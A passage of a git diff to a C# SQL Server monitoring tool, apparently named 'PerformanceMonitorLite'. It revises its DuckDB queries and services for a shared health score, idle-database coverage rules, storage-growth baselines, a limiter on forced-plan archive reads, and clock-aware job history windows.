+        using var reader = await command.ExecuteReaderAsync();
+        if (!await reader.ReadAsync() || reader.IsDBNull(0) || reader.IsDBNull(1))
+            return false;
+
+        return Convert.ToDateTime(reader.GetValue(0)) <= oldestCutoff && Convert.ToInt64(reader.GetValue(1)) >= IdleCoverageDays;
     }
 
     private static string FormatDuration(long seconds)
diff --git a/Lite/Services/LocalDataService.FinOps.ServerProperties.cs b/Lite/Services/LocalDataService.FinOps.ServerProperties.cs
index e8bff9cbe6..4cbfd749e4 100644
--- a/Lite/Services/LocalDataService.FinOps.ServerProperties.cs
+++ b/Lite/Services/LocalDataService.FinOps.ServerProperties.cs
@@ -188,7 +188,8 @@ public static async Task<ServerPropertyRow> GetServerPropertiesLiveAsync(string
     }
 
     /// <summary>One fleet server's overlay metrics — <see cref="GetServerMetricsAsync"/>'s per-server result.</summary>
-    public readonly record struct ServerMetricsRow(decimal? AvgCpuPct, decimal? StorageTotalGb, int? IdleDbCount, string? ProvisioningStatus);
+    public readonly record struct ServerMetricsRow(
+        decimal? AvgCpuPct, decimal? StorageTotalGb, int? IdleDbCount, string? ProvisioningStatus, int? HealthScore = null);
 
     /// <summary>
     /// Collected metrics (CPU, storage, idle DBs, provisioning status) for EVERY server in the local DuckDB, in
@@ -233,16 +234,20 @@ FROM v_cpu_utilization_stats
     WHERE collection_time >= $1
     GROUP BY server_id
 ),
-/* Only the worker counts are consumed now: memory_ratio used to feed this read's own CASE, and that
-   CASE was the #2246 bug. The verdict comes from ProvisioningVerdict, so the division would be dead. */
+/* The worker counts feed the verdict (memory_ratio used to feed this read's own CASE, and that CASE was the #2246 bug), and the
+   physical memory and buffer pool of the same newest row feed the health score, exactly as the Utilization read takes them
+   (GetUtilizationEfficiencyAsync). mem_time is NULL for a server with no memory row, which has no Utilization card and so no score. */
 mem_latest AS (
     SELECT
         s.server_id,
         latest.max_workers_count,
-        latest.current_workers_count
+        latest.current_workers_count,
+        latest.total_physical_memory_mb,
+        latest.buffer_pool_mb,
+        latest.collection_time AS mem_time
     FROM known_servers s
     LEFT JOIN LATERAL (
-        SELECT max_workers_count, current_workers_count
+        SELECT max_workers_count, current_workers_count, total_physical_memory_mb, buffer_pool_mb, collection_time
         FROM v_memory_stats
         WHERE server_id = s.server_id
         ORDER BY collection_time DESC
@@ -281,7 +286,11 @@ LIMIT 1
 storage_totals AS (
     SELECT
         sl.server_id,
-        SUM(vd.total_size_mb) / 1024.0 AS total_storage_gb
+        SUM(vd.total_size_mb) / 1024.0 AS total_storage_gb,
+        /* The allocated and free totals the Utilization tab scores storage from (DatabaseSizeRow.AllocatedTotalMb and FreeTotalMb over the
+           same newest snapshot): a row with no total adds nothing to either, a row with no used size has no free space. */
+        COALESCE(SUM(vd.total_size_mb), 0) AS alloc_mb,
+        COALESCE(SUM(CASE WHEN vd.total_size_mb IS NOT NULL AND vd.used_size_mb IS NOT NULL THEN vd.total_size_mb - vd.used_size_mb END), 0) AS free_mb
     FROM size_latest sl
     JOIN v_database_size_stats vd
       ON vd.server_id = sl.server_id
@@ -304,14 +313,27 @@ FROM v_query_stats
     WHERE collection_time >= $2
     AND   delta_execution_count > 0
 ),
-idle_dbs AS (
-    SELECT server_id, COUNT(*) AS idle_db_count
-    FROM (
-        SELECT server_id, database_name FROM latest_dbs
-        EXCEPT
-        SELECT server_id, database_name FROM active_dbs
-    ) AS idle
+/* The recommendation row's coverage rule (HasQueryStatsCoverageAsync, IdleCoverageBounds): a database is called idle for 7 days only when
+   the oldest query-stats sample is at or before now minus 7 days ($5) AND each of the 7 complete UTC days from $3 up to (not including)
+   $6 holds a sample; today is not required. A server without that coverage has no idle_dbs row, so its count is NULL (a dash), never a
+   count made from a window nothing watched. Covered servers count 0 when nothing is idle. */
+idle_coverage AS (
+    SELECT server_id
+    FROM v_query_stats
     GROUP BY server_id
+    HAVING MIN(collection_time) <= $5
+       AND COUNT(DISTINCT CASE WHEN collection_time >= $3 AND collection_time < $6 THEN CAST(collection_time AS DATE) END) >= $4
+),
+idle_dbs AS (
+    SELECT
+        ld.server_id,
+        COUNT(*) FILTER (WHERE ad.database_name IS NULL) AS idle_db_count
+    FROM latest_dbs ld
+    JOIN idle_coverage ic ON ic.server_id = ld.server_id
+    LEFT JOIN active_dbs ad
+      ON ad.server_id = ld.server_id
+     AND ad.database_name = ld.database_name
+    GROUP BY ld.server_id
 )
 SELECT
     s.server_id,
@@ -327,7 +349,12 @@ GROUP BY server_id
     COALESCE(g.forced_grants, 0),
     COALESCE(g.grant_utilization_pct, 0),
     props.engine_edition,
-    props.edition
+    props.edition,
+    m.total_physical_memory_mb,
+    m.buffer_pool_mb,
+    m.mem_time,
+    st.alloc_mb,
+    st.free_mb
 FROM known_servers s
 LEFT JOIN LATERAL (
     SELECT engine_edition, edition
@@ -344,6 +371,11 @@ LIMIT 1
 
         command.Parameters.Add(new DuckDBParameter { Value = cpuCutoff });
         command.Parameters.Add(new DuckDBParameter { Value = idleCutoff });
+        var (coverageStart, coverageEnd, coverageOldestCutoff) = IdleCoverageBounds(DateTime.UtcNow);
+        command.Parameters.Add(new DuckDBParameter { Value = coverageStart });
+        command.Parameters.Add(new DuckDBParameter { Value = (long)IdleCoverageDays });
+        command.Parameters.Add(new DuckDBParameter { Value = coverageOldestCutoff });
+        command.Parameters.Add(new DuckDBParameter { Value = coverageEnd });
 
         var results = new Dictionary<int, ServerMetricsRow>();
         using var reader = await command.ExecuteReaderAsync();
@@ -360,12 +392,35 @@ LIMIT 1
                 reader.IsDBNull(1) ? null : Convert.ToDecimal(reader.GetValue(1)),
                 reader.IsDBNull(2) ? null : Convert.ToDecimal(reader.GetValue(2)),
                 reader.IsDBNull(3) ? null : Convert.ToInt32(reader.GetValue(3)),
-                status);
+                status,
+                FleetHealthScoreFor(reader));
         }
 
         return results;
     }
 
+    /// <summary>
+    /// The Server Inventory health score for one fleet-read row: the SAME score the Utilization tab shows for that server, from the same
+    /// inputs over the same window (<see cref="FinOpsHealthCalculator.Score"/>): the 24-hour p95 CPU, the newest memory row's buffer pool over
+    /// its physical memory, and the free share of the newest database-size snapshot. This used to be built from the 24-hour AVERAGE CPU and a
+    /// fixed memory and storage term, so every server of similar CPU read the same number beside a Utilization score that differed.
+    /// Null (a dash) when the window holds no CPU sample or the server has no memory row (no Utilization card either). Ordinals: 1 avg CPU,
+    /// 5 p95 CPU, 14 physical memory, 15 buffer pool, 16 memory row time, 17 allocated MB, 18 free MB.
+    /// </summary>
+    internal static int? FleetHealthScoreFor(System.Data.Common.DbDataReader reader)
+    {
+        if (reader.IsDBNull(1) || reader.IsDBNull(16)) return null;
+
+        var allocatedMb = reader.IsDBNull(17) ? 0m : Convert.ToDecimal(reader.GetValue(17));
+        var freeMb = reader.IsDBNull(18) ? 0m : Convert.ToDecimal(reader.GetValue(18));
+        return FinOpsHealthCalculator.Score(
+            hasCpuSample: true,
+            p95CpuPct: reader.IsDBNull(5) ? 0m : Convert.ToDecimal(reader.GetValue(5)),
+            physicalMemoryMb: reader.IsDBNull(14) ? 0 : Convert.ToInt32(reader.GetValue(14)),
+            bufferPoolMb: reader.IsDBNull(15) ? 0 : Convert.ToInt32(reader.GetValue(15)),
+            freeSpacePct: FinOpsHealthCalculator.FreeSpacePct(allocatedMb, freeMb));
+    }
+
     /// <summary>
     /// The provisioning verdict for one fleet-read row, or null when the server has no CPU sample in the
     /// 24-hour window (its average CPU is NULL).
diff --git a/Lite/Services/LocalDataService.FinOps.StorageGrowth.cs b/Lite/Services/LocalDataService.FinOps.StorageGrowth.cs
index 79ad591dab..b8314c2589 100644
--- a/Lite/Services/LocalDataService.FinOps.StorageGrowth.cs
+++ b/Lite/Services/LocalDataService.FinOps.StorageGrowth.cs
@@ -17,7 +17,13 @@ namespace PerformanceMonitorLite.Services;
 public partial class LocalDataService
 {
     /// <summary>
-    /// Per-database size now, 7 days ago and 30 days ago. $1 server_id, $2 the 7-day cutoff, $3 the 30-day cutoff.
+    /// Per-database size now, 7 days ago and 30 days ago. $1 server_id, $2 the 7-day mark, $3 the 30-day mark.
+    ///
+    /// <para>Each baseline is the snapshot NEAREST its mark, and only when that snapshot is within one day of it
+    /// (86400 seconds). The older shape took the newest snapshot at or before the mark, however far
+    /// before: a store with 25 days of history then called its 25-day-old sample "30d ago" and measured Growth % and the daily
+    /// rate against it, and a store with a gap labeled whatever sample the gap left as the 7-day baseline. With no snapshot near
+    /// the mark the baseline is NULL, and the grid shows n/a with a tooltip saying no sample from that many days ago exists.</para>
     ///
     /// <para>A file whose row in the latest snapshot has no size is left out of all three sums, by one predicate
     /// (the <c>NOT EXISTS</c> against <c>log_service_files</c>) repeated in each. That file is the log of an Azure
@@ -28,13 +34,14 @@ public partial class LocalDataService
     /// already skips. A file that is gone from the latest snapshot has no row there, so it still counts on the
     /// past side, as shrinkage.</para>
     ///
-    /// <para>A row stored before the allocated/used fix for another database on an Azure SQL Database server holds that
-    /// database's USED space as its total, where every later row holds the ALLOCATED size
-    /// (<see cref="PerformanceMonitor.Common.AzureSiblingDatabaseSize"/>). The same predicate leaves those rows out of
-    /// all three sums, so the one-time change reads as no history and not as growth: the database shows a blank past
-    /// size and growth n/a (null) until a newer sample is old enough to compare against, as a database added inside the window
-    /// does. Until the first collection after the upgrade the latest snapshot holds only old-shape rows, so the
-    /// database is not listed here at all.</para>
+    /// <para>#5498: a row named "(whole database)" for another database on an Azure SQL Database server is history from
+    /// before the collector read each user database on its own connection: it holds data space only, and the newest
+    /// snapshot of that database now holds its data and log files
+    /// (<see cref="PerformanceMonitor.Common.AzureSiblingDatabaseSize"/>). The 7-day and 30-day sums leave EVERY such
+    /// row out (<c>ExcludeAllSiblingRows</c>), so the log does not read as growth. The latest sum leaves out only the
+    /// old shape that holds no used space (<c>ExcludePreFixRows</c>), so a snapshot taken before the upgrade still
+    /// lists the database. A database with no comparable older row shows a blank past size and growth n/a (null), as
+    /// a database added inside the window does, until a newer sample is old enough to compare against.</para>
     ///
     /// <para>The <c>latest</c> CTE also flags each database whose size leaves its log out: <c>has_sibling_row</c> is true
     /// when the database has the one row another database on an Azure SQL Database server gets
@@ -43,7 +50,28 @@ public partial class LocalDataService
     /// the sums skip). Both come from the latest snapshot only, and the row's <c>Note</c> says which.</para>
     /// </summary>
     internal const string StorageGrowthSql = @"
-WITH log_service_files AS (
+WITH snaps AS (
+    SELECT DISTINCT collection_time AS t
+    FROM v_database_size_stats
+    WHERE server_id = $1
+),
+base_7d AS (
+    SELECT t
+    FROM snaps
+    WHERE t < (SELECT MAX(t) FROM snaps)
+    AND   abs(epoch(t) - epoch(CAST($2 AS TIMESTAMP))) <= 86400
+    ORDER BY abs(epoch(t) - epoch(CAST($2 AS TIMESTAMP))), t DESC
+    LIMIT 1
+),
+base_30d AS (
+    SELECT t
+    FROM snaps
+    WHERE t < (SELECT MAX(t) FROM snaps)
+    AND   abs(epoch(t) - epoch(CAST($3 AS TIMESTAMP))) <= 86400
+    ORDER BY abs(epoch(t) - epoch(CAST($3 AS TIMESTAMP))), t DESC
+    LIMIT 1
+),
+log_service_files AS (
     SELECT
         database_name,
         file_id
@@ -90,24 +118,14 @@ past_7d AS (
         MAX(s.collection_time) AS snap_time
     FROM v_database_size_stats AS s
     WHERE s.server_id = $1
-    AND   s.collection_time = (
-        SELECT MAX(collection_time)
-        FROM v_database_size_stats
-        WHERE server_id = $1
-        AND   collection_time <= $2
-    )
-    AND   s.collection_time < (
-        SELECT MAX(collection_time)
-        FROM v_database_size_stats
-        WHERE server_id = $1
-    )
+    AND   s.collection_time = (SELECT t FROM base_7d)
     AND   NOT EXISTS (
         SELECT 1
         FROM log_service_files AS ls
         WHERE ls.database_name = s.database_name
         AND   ls.file_id = s.file_id
     )
-    AND   " + AzureSiblingDatabaseSize.ExcludePreFixRows + @"
+    AND   " + AzureSiblingDatabaseSize.ExcludeAllSiblingRows + @"
     GROUP BY s.database_name
 ),
 past_30d AS (
@@ -117,24 +135,14 @@ past_30d AS (
         MAX(s.collection_time) AS snap_time
     FROM v_database_size_stats AS s
     WHERE s.server_id = $1
-    AND   s.collection_time = (
-        SELECT MAX(collection_time)
-        FROM v_database_size_stats
-        WHERE server_id = $1
-        AND   collection_time <= $3
-    )
-    AND   s.collection_time < (
-        SELECT MAX(collection_time)
-        FROM v_database_size_stats
-        WHERE server_id = $1
-    )
+    AND   s.collection_time = (SELECT t FROM base_30d)
     AND   NOT EXISTS (
         SELECT 1
         FROM log_service_files AS ls
         WHERE ls.database_name = s.database_name
         AND   ls.file_id = s.file_id
     )
-    AND   " + AzureSiblingDatabaseSize.ExcludePreFixRows + @"
+    AND   " + AzureSiblingDatabaseSize.ExcludeAllSiblingRows + @"
     GROUP BY s.database_name
 )
 SELECT
@@ -165,8 +173,12 @@ FROM latest l
 
     /// <summary>
     /// Gets per-database storage growth trends comparing current size to 7d and 30d ago.
+    /// #5312: <paramref name="databaseNames"/> is the saved database filter (the Storage Growth grid also lists the databases the
+    /// table and index drill starts from); null or empty is every database. The rows are narrowed after the read, by exact
+    /// (ordinal) name, the same rule as the viewer's twin. The statement has no row cap, so the narrowing cannot lose a chosen
+    /// database. A row whose name was NULL reads as "" and never matches a chosen name.
     /// </summary>
-    public async Task<List<StorageGrowthRow>> GetStorageGrowthAsync(int serverId)
+    public async Task<List<StorageGrowthRow>> GetStorageGrowthAsync(int serverId, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
@@ -198,6 +210,12 @@ public async Task<List<StorageGrowthRow>> GetStorageGrowthAsync(int serverId)
                 HasLogServiceFile = !reader.IsDBNull(9) && reader.GetBoolean(9)
             });
         }
+        if (databaseNames is { Count: > 0 })
+        {
+            var chosen = new HashSet<string>(databaseNames, StringComparer.Ordinal);
+            items = items.Where(r => chosen.Contains(r.DatabaseName)).ToList();
+        }
+
         return items;
     }
 }
diff --git a/Lite/Services/LocalDataService.FinOps.Workload.cs b/Lite/Services/LocalDataService.FinOps.Workload.cs
index be518fbd57..effcff2661 100644
--- a/Lite/Services/LocalDataService.FinOps.Workload.cs
+++ b/Lite/Services/LocalDataService.FinOps.Workload.cs
@@ -434,7 +434,7 @@ GROUP BY
     database_name,
     sql_handle,
     query_text
-ORDER BY SUM(delta_worker_time) DESC
+ORDER BY SUM(delta_worker_time) DESC, database_name, sql_handle, query_text
 LIMIT $3";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
diff --git a/Lite/Services/LocalDataService.FinOps.cs b/Lite/Services/LocalDataService.FinOps.cs
index af07ccc0ff..f8bbeae0bf 100644
--- a/Lite/Services/LocalDataService.FinOps.cs
+++ b/Lite/Services/LocalDataService.FinOps.cs
@@ -126,6 +126,20 @@ public class UtilizationEfficiencyRow
     /// </summary>
     public bool HasCpuSample => ProvisioningStatus.Length > 0;
 
+    /// <summary>The Avg CPU figure: a dash when the window held no CPU sample (<see cref="HasCpuSample"/> false), never the 0.00% that
+    /// came from nothing.</summary>
+    public string AvgCpuText => HasCpuSample ? $"{AvgCpuPct:N2}%" : "-";
+
+    /// <summary>The P95 CPU figure: a dash when the window held no CPU sample, never a 0.00%.</summary>
+    public string P95CpuText => HasCpuSample ? $"{P95CpuPct:N2}%" : "-";
+
+    /// <summary>The Max CPU figure: a dash when the window held no CPU sample, never a 0%.</summary>
+    public string MaxCpuText => HasCpuSample ? $"{MaxCpuPct}%" : "-";
+
+    /// <summary>False when the window held no CPU sample: the server is stale or its CPU collector is off, and its latest database
+    /// sizes may be days old, so the Allocated vs Used chart is hidden rather than shown as current.</summary>
+    public bool ShowsDatabaseSizeChart => HasCpuSample;
+
     // FinOps cost — proportional to server monthly budget
     public decimal MonthlyCost { get; set; }
     public decimal AnnualCost => MonthlyCost * 12m;
@@ -133,7 +147,13 @@ public class UtilizationEfficiencyRow
     // Health score (Increment 6)
     public decimal FreeSpacePct { get; set; }
     public int HealthScore { get; set; }
-    public string HealthScoreColor => FinOpsHealthCalculator.ScoreColor(HealthScore);
+
+    /// <summary>The badge color: the score's own, or gray when the window held no CPU sample and there is no score to color.</summary>
+    public string HealthScoreColor => HasCpuSample ? FinOpsHealthCalculator.ScoreColor(HealthScore) : FinOpsHealthCalculator.NoScoreColor;
+
+    /// <summary>The badge text: "Health: 87", or "Health: -" when the window held no CPU sample (<see cref="HasCpuSample"/> false). Memory and
+    /// storage alone can read a perfect 100 beside a "No Data" card, so with no CPU sample there is no score, not a partial one.</summary>
+    public string HealthScoreText => HasCpuSample ? $"Health: {HealthScore}" : "Health: -";
 
     /// <summary>
     /// The health score for these figures: CPU p95, the buffer pool's share of physical memory, and free storage. The memory
@@ -142,13 +162,8 @@ public class UtilizationEfficiencyRow
     /// on every edition. A window with no CPU sample (<see cref="HasCpuSample"/> false) leaves the CPU term out: its p95 is a 0
     /// that came from nothing, and scoring that 0 would hand the server a full 100.
     /// </summary>
-    public int ComputeHealthScore()
-    {
-        var bpRatio = PhysicalMemoryMb > 0 ? (decimal)BufferPoolMb / PhysicalMemoryMb : 0m;
-        int? cpuScore = HasCpuSample ? FinOpsHealthCalculator.CpuScore(P95CpuPct) : null;
-        return FinOpsHealthCalculator.Overall(
-            cpuScore, FinOpsHealthCalculator.MemoryScore(bpRatio), FinOpsHealthCalculator.StorageScore(FreeSpacePct));
-    }
+    public int ComputeHealthScore() =>
+        FinOpsHealthCalculator.Score(HasCpuSample, P95CpuPct, PhysicalMemoryMb, BufferPoolMb, FreeSpacePct);
 }
 
 public class DatabaseResourceUsageRow
@@ -405,8 +420,14 @@ public string? LicenseWarning
     }
 
     // Health score (Increment 6)
-    public int HealthScore { get; set; }
-    public string HealthScoreColor => FinOpsHealthCalculator.ScoreColor(HealthScore);
+    /// <summary>The Server Inventory health score, or null when the last 24 hours hold no CPU sample for the server: the grid shows a dash,
+    /// not a score built from memory and storage alone. It is the Utilization tab's score for the same server
+    /// (<see cref="FinOpsHealthCalculator.Score"/>), read by <see cref="LocalDataService.GetServerMetricsAsync"/>.</summary>
+    public int? HealthScore { get; set; }
+    public string HealthScoreColor => HealthScore is int score ? FinOpsHealthCalculator.ScoreColor(score) : FinOpsHealthCalculator.NoScoreColor;
+
+    /// <summary>The tooltip on the dash shown in place of a score; null when there is a score.</summary>
+    public string? HealthScoreNote => HealthScore.HasValue ? null : FinOpsHealthCalculator.NoInventoryScoreNote;
 }
 
 public class StorageGrowthRow
@@ -421,6 +442,12 @@ public class StorageGrowthRow
     public decimal? DailyGrowthRateMb { get; set; }
     public decimal? GrowthPct30d { get; set; }
 
+    /// <summary>The tooltip on a blank 7-day baseline cell (shown as n/a): no sample within a day of 7 days ago. Null when there is one.</summary>
+    public string? Size7dAgoNote => Size7dAgoMb == null ? "No sample from 7 days ago" : null;
+
+    /// <summary>The tooltip on a blank 30-day baseline cell (shown as n/a): no sample within a day of 30 days ago. Null when there is one.</summary>
+    public string? Size30dAgoNote => Size30dAgoMb == null ? "No sample from 30 days ago" : null;
+
     /// <summary>True when the database has the one row another database on an Azure SQL Database server gets: its
     /// size is data space only, and the log size is not reported. See <see cref="AzureSiblingDatabaseSize"/>.</summary>
     public bool HasSiblingRow { get; set; }
@@ -479,6 +506,16 @@ public class ExpensiveQueryRow
 
 public static class FinOpsHealthCalculator
 {
+    /// <summary>The badge color of a health score that does not exist (no CPU sample in the window).</summary>
+    public const string NoScoreColor = "#7F8C8D";
+
+    /// <summary>The tooltip on the dash shown in place of a health score when the last 24 hours hold no CPU sample.</summary>
+    public const string NoScoreNote = "No health score: the last 24 hours hold no CPU sample.";
+    /// <summary>The tooltip on the dash shown in place of a health score on the Server Inventory. That score is null for two reasons: the last 24 hours hold no
+    /// CPU sample, or no memory sample has been collected (memory_stats off in the schedule, or not yet run on a new server). The row does not say which,
+    /// so the note names both. The Utilization view keeps <see cref="NoScoreNote"/>: it has no row at all without a memory sample.</summary>
+    public const string NoInventoryScoreNote = "No health score: the last 24 hours hold no CPU sample, or no memory sample has been collected.";
+
     public static int CpuScore(decimal p95Pct)
     {
         if (p95Pct <= 70) return (int)(100 - p95Pct * 50 / 70);
@@ -515,6 +552,23 @@ public static int Overall(int? cpu, int memory, int storage)
         return (memory * 30 + storage * 30) / 60;
     }
 
+    /// <summary>Free space as a percent of allocated; 100 when nothing is allocated (no snapshot, or an empty one).</summary>
+    public static decimal FreeSpacePct(decimal allocatedMb, decimal freeMb) =>
+        allocatedMb > 0 ? freeMb / allocatedMb * 100m : 100m;
+
+    /// <summary>
+    /// THE health score, the one rule every surface uses: the FinOps Utilization badge and the Server Inventory grid's Health column. CPU is
+    /// the 24-hour p95, memory is the buffer pool's share of physical memory, storage is the free share of the newest database-size snapshot
+    /// (<see cref="FreeSpacePct"/>). A window with no CPU sample (<paramref name="hasCpuSample"/> false) leaves the CPU term out: its p95 is a 0
+    /// that came from nothing, and scoring that 0 would hand the server a full 100.
+    /// </summary>
+    public static int Score(bool hasCpuSample, decimal p95CpuPct, long physicalMemoryMb, long bufferPoolMb, decimal freeSpacePct)
+    {
+        var bpRatio = physicalMemoryMb > 0 ? (decimal)bufferPoolMb / physicalMemoryMb : 0m;
+        int? cpuScore = hasCpuSample ? CpuScore(p95CpuPct) : null;
+        return Overall(cpuScore, MemoryScore(bpRatio), StorageScore(freeSpacePct));
+    }
+
     public static string ScoreColor(int score) => score switch
     {
         >= 80 => "#27AE60",
@@ -607,7 +661,6 @@ public class RecommendationRow
     public string Finding { get; set; } = "";
     public string Detail { get; set; } = "";
     public decimal? EstMonthlySavings { get; set; }
-    public string EstMonthlySavingsDisplay => EstMonthlySavings.HasValue ? $"${EstMonthlySavings.Value:N0}" : "";
     public int SeveritySort => Severity switch
     {
         "High" => 1,
diff --git a/Lite/Services/LocalDataService.ForcePlanFailures.cs b/Lite/Services/LocalDataService.ForcePlanFailures.cs
index cc09d58a9f..89e7de1ac2 100644
--- a/Lite/Services/LocalDataService.ForcePlanFailures.cs
+++ b/Lite/Services/LocalDataService.ForcePlanFailures.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Threading;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
 using PerformanceMonitor.Alerting;
@@ -97,18 +98,38 @@ JOIN ranked AS p
 AND   n.failures > p.failures
 ORDER BY n.database_name, n.query_id, n.plan_id";
 
-    /// <summary>Runs <see cref="ForcePlanFailuresSql"/> for one server.</summary>
-    public async Task<List<ForcePlanFailureInfo>> GetForcePlanFailuresAsync(int serverId)
+    private ArchiveReadLimiter _archiveReadLimiter = ArchiveReadLimiter.Shared;
+
+    /// <summary>Test seam (#5377): replaces the process-wide archive-read limiter for this service.</summary>
+    internal ArchiveReadLimiter ArchiveReadLimiterForTests { set => _archiveReadLimiter = value; }
+
+    /// <summary>
+    /// Test seam (#5377): called with <c>"limiter"</c> once the forced-plan read holds its slot and
+    /// <c>"readlock"</c> once it also holds the database read lock. Production leaves it null.
+    /// </summary>
+    internal Action<string>? ArchiveReadStepForTests { get; set; }
+
+    /// <summary>
+    /// Runs <see cref="ForcePlanFailuresSql"/> for one server. The query reads <c>v_query_store_stats</c>, so it
+    /// scans Parquet like the watermark reads' cache misses do, and it shares their limit (#5377): it takes a
+    /// slot of the process-wide <see cref="ArchiveReadLimiter"/> FIRST and the database read lock after it
+    /// (<see cref="OpenConnectionAsync"/>), and gives the lock back first, so a pass that waits for a slot holds
+    /// no lock. A cancelled wait takes nothing and releases nothing.
+    /// </summary>
+    public async Task<List<ForcePlanFailureInfo>> GetForcePlanFailuresAsync(int serverId, CancellationToken cancellationToken = default)
     {
+        using var slot = await _archiveReadLimiter.EnterAsync(cancellationToken);
+        ArchiveReadStepForTests?.Invoke("limiter");
         using var connection = await OpenConnectionAsync();
+        ArchiveReadStepForTests?.Invoke("readlock");
         using var command = connection.CreateCommand();
         command.CommandText = ForcePlanFailuresSql;
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = DateTime.UtcNow - ForcePlanFailureWindow });
 
         var items = new List<ForcePlanFailureInfo>();
-        using var reader = await command.ExecuteReaderAsync();
-        while (await reader.ReadAsync())
+        using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
         {
             items.Add(new ForcePlanFailureInfo
             {
diff --git a/Lite/Services/LocalDataService.JobHistory.cs b/Lite/Services/LocalDataService.JobHistory.cs
index e024c862da..85390284d1 100644
--- a/Lite/Services/LocalDataService.JobHistory.cs
+++ b/Lite/Services/LocalDataService.JobHistory.cs
@@ -9,7 +9,9 @@
 using System;
 using System.Collections.Generic;
 using System.Threading.Tasks;
+using System.Linq;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Common;
 
 namespace PerformanceMonitorLite.Services;
@@ -25,23 +27,265 @@ public partial class LocalDataService
     /// function (a step_id 0 outcome row exceeding 2x its job's average successful-outcome duration, floored
     /// at 60s so tiny jobs never flag), and each row carries its job's last successful outcome run.
     /// <para>
-    /// run_datetime is the monitored server's LOCAL wall clock (decoded from run_date/run_time), so it is
-    /// windowed against and displayed in local wall-clock time — the time SSMS shows for the run — rather
-    /// than re-converted. With no <paramref name="serverId"/> the read aggregates ALL servers (the tab
-    /// default); with one it scopes to that server (the Server filter combo).
+    /// run_datetime is the monitored server's LOCAL wall clock (decoded from run_date/run_time), and the grid
+    /// still shows it as stored — the time SSMS shows for the run — rather than re-converted. The WINDOW is
+    /// another matter (#4966): "the last N hours" is an exact UTC span, so it is worked out on THAT server's
+    /// clock (<see cref="GetServerClockAsync"/>, as the Default Trace read does) and not on the host's: a server
+    /// in another zone used to shift the window by the zone difference. Per server, the SQL pre-filters on the
+    /// server-local start of the span, widened by an hour, and each row's run time is converted to UTC with the
+    /// clock at the run's own date (<see cref="JobHistoryRow.RunDateTimeUtc"/>) and held to the exact span. With
+    /// no <paramref name="serverId"/> the read aggregates ALL servers (the tab default), one clock read and one
+    /// bounded read per server, merged newest first by the real instant of each run and cut to
+    /// <paramref name="limit"/>; with one it scopes to that server (the Server filter combo). A server with no
+    /// collected clock yet is windowed on its open tab's clock, then on the machine's own
+    /// (<see cref="ServerTimeHelper.ClockForServer(ServerClock?, ServerClock?)"/>, <see cref="ReadJobHistoryClockAsync"/>), which is
+    /// what this read did for every server before. The Darling viewer's twin converts through the same
+    /// clock and shows the instant in its display zone.
     /// </para>
     /// </summary>
-    public async Task<List<JobHistoryRow>> GetJobHistoryAsync(int hoursBack = 24, int limit = 1000, int? serverId = null)
+    public Task<List<JobHistoryRow>> GetJobHistoryAsync(int hoursBack = 24, int limit = 1000, int? serverId = null) =>
+        GetJobHistoryAsync(DateTime.UtcNow.AddHours(-hoursBack), limit, serverId);
+
+    /// <summary>
+    /// <see cref="GetJobHistoryAsync(int, int, int?)"/> over a window that starts at <paramref name="windowStartUtc"/> (a UTC
+    /// instant) and runs to now, for a caller that works the start out once and hands the same instant to the read and to the
+    /// data-start probe (<see cref="GetJobHistoryDataStartAsync"/>, #4966): the tab's note is worded against the window the rows
+    /// were read over, so the two must not each take their own <c>DateTime.UtcNow</c>.
+    /// <paramref name="openTabClocks"/> is the clock of each open server tab by server id, taken by the tab layer on the UI thread
+    /// (the open tabs are UI objects, so this service never reaches into them): a server with no collected clock yet is windowed
+    /// on its open tab's clock when it has one, then the machine's, the chain the Alert History tab uses.
+    /// </summary>
+    public async Task<List<JobHistoryRow>> GetJobHistoryAsync(
+        DateTime windowStartUtc, int limit, int? serverId, IReadOnlyDictionary<int, ServerClock>? openTabClocks = null,
+        DateTime? windowEndUtc = null) =>
+        (await GetJobHistoryWithClocksAsync(windowStartUtc, limit, serverId, openTabClocks, windowEndUtc)).Rows;
+
+    /// <summary>
+    /// <see cref="GetJobHistoryAsync(DateTime, int, int?, IReadOnlyDictionary{int, ServerClock}?, DateTime?)"/> that also returns the clock it
+    /// windowed each server on, by server id (#4966). The tab words the note for one server from <c>Clocks[serverId]</c>, so the note
+    /// and the read share one clock read and cannot disagree on a clock that changed between two reads.
+    /// </summary>
+    internal async Task<(List<JobHistoryRow> Rows, IReadOnlyDictionary<int, ServerClock> Clocks)> GetJobHistoryWithClocksAsync(
+        DateTime windowStartUtc, int limit, int? serverId, IReadOnlyDictionary<int, ServerClock>? openTabClocks = null,
+        DateTime? windowEndUtc = null)
+    {
+        var serverIds = serverId.HasValue
+            ? new List<int> { serverId.Value }
+            : await ReadJobHistoryServerIdsAsync(windowStartUtc);
+
+        var rows = new List<JobHistoryRow>();
+        var clocks = new Dictionary<int, ServerClock>();
+        foreach (var id in serverIds)
+        {
+            var clock = await ReadJobHistoryClockAsync(id, openTabClocks is not null && openTabClocks.TryGetValue(id, out var tabClock) ? tabClock : null);
+            clocks[id] = clock;
+            rows.AddRange(await ReadJobHistoryForServerAsync(id, clock, windowStartUtc, limit, windowEndUtc));
+        }
+
+        return (ApplyJobHistoryWindow(rows, windowStartUtc, limit, windowEndUtc), clocks);
+    }
+
+    /// <summary>This machine's zone, the last clock in the Job History chain. A seam for the tests, which name a fixed zone so a
+    /// fallback to UTC cannot pass on a host that happens to run in UTC; the product never sets it.</summary>
+    internal TimeZoneInfo MachineZone { get; set; } = TimeZoneInfo.Local;
+
+    /// <summary>
+    /// Every server with a run at or after the earliest server-local instant any server's pre-filter can start at: the
+    /// window's UTC start less 12 hours (the westernmost zone, UTC-12) and the hour the pre-filter widens by. A server
+    /// whose own window starts later is found here too and its own read narrows it; the list is where the per-server
+    /// reads and clock reads come from, so a server with no run that recent costs neither.
+    /// </summary>
+    private async Task<List<int>> ReadJobHistoryServerIdsAsync(DateTime windowStartUtc)
+    {
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = @"
